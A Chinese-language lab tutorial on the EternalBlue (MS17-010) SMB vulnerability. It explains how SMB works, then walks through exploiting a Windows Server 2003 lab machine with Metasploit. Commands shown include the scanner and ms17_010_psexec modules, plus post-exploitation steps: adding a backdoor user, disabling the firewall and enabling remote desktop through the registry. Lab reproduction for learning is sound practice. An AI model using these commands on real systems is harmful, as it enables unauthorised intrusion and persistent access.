一、永恒之蓝简述:
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
二、SMB协议简述:
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
三、SMB工作原理:
1、首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信;
2、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接;
3、当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝;
4、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
四、经典重现
1、使用kali 和windows server 2003 (kali作为攻击主机,windows server 2003 作为靶机),使用wireshark进行抓包
2、设置kali 的IP地址为自动获取,查看kali IP地址:ifconfig
查看windows 7的IP地址:ipconfig
两台机子必须可以相互ping通
3、查看kali 主机数据库是否开启:service postgresql status
由上图可以看出:Active:inactive (dead)说明数据库此时是关闭的;
打开kali 主机的数据库: service postgresql start 或者 Msfdb start
4、启动msf:msfconsole
msfconsole更新
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall && chmod 755 msfinstall && ./msfinstall
这样就成功进入了msf中,如果你的界面与该界面不同,不必诧异,msf每次都会有一个随机的界面
5、查看数据库连接情况:在msf命令提示符下:db_status(下面的msf命令提示符也说明了已经进入了msf中)。
6、搜索ms17_010:search ms17_010
7、扫描命令:use auxiliary/scanner/smb/smb_ms17_010
show options //输入options来获得帮助命令
RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
set rhosts 192.168.197.128 //扫描靶机(windows 2003 )
run 或者 exploit //开始执行扫描
出现以上情况,存在漏洞 即445端口开放
7、 use exploit/windows/smb/ms17_010_psexec //windows 2003 的攻击模块
set rhosts 192.168.197.130
run 或者 exploit //开始攻击
输入shell 即可反弹回靶机的最高权限。
三、Kali操控server 2003
1、添加用户net user 用户名 密码 /add
命令:net user amy 123456 /add
(添加用户到组:net localgroup “power user” 用户名 /add)
查看本地用户信息:
命令: Net user
确认添加成功
2、关闭防火墙
命令:netsh firewall set opmode mode=disable
查看防火墙状态:
netsh firewall show state
开启3389端口
命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看 3389 端口
命令:netstat -aon |findstr “3389”
四、server 2003验证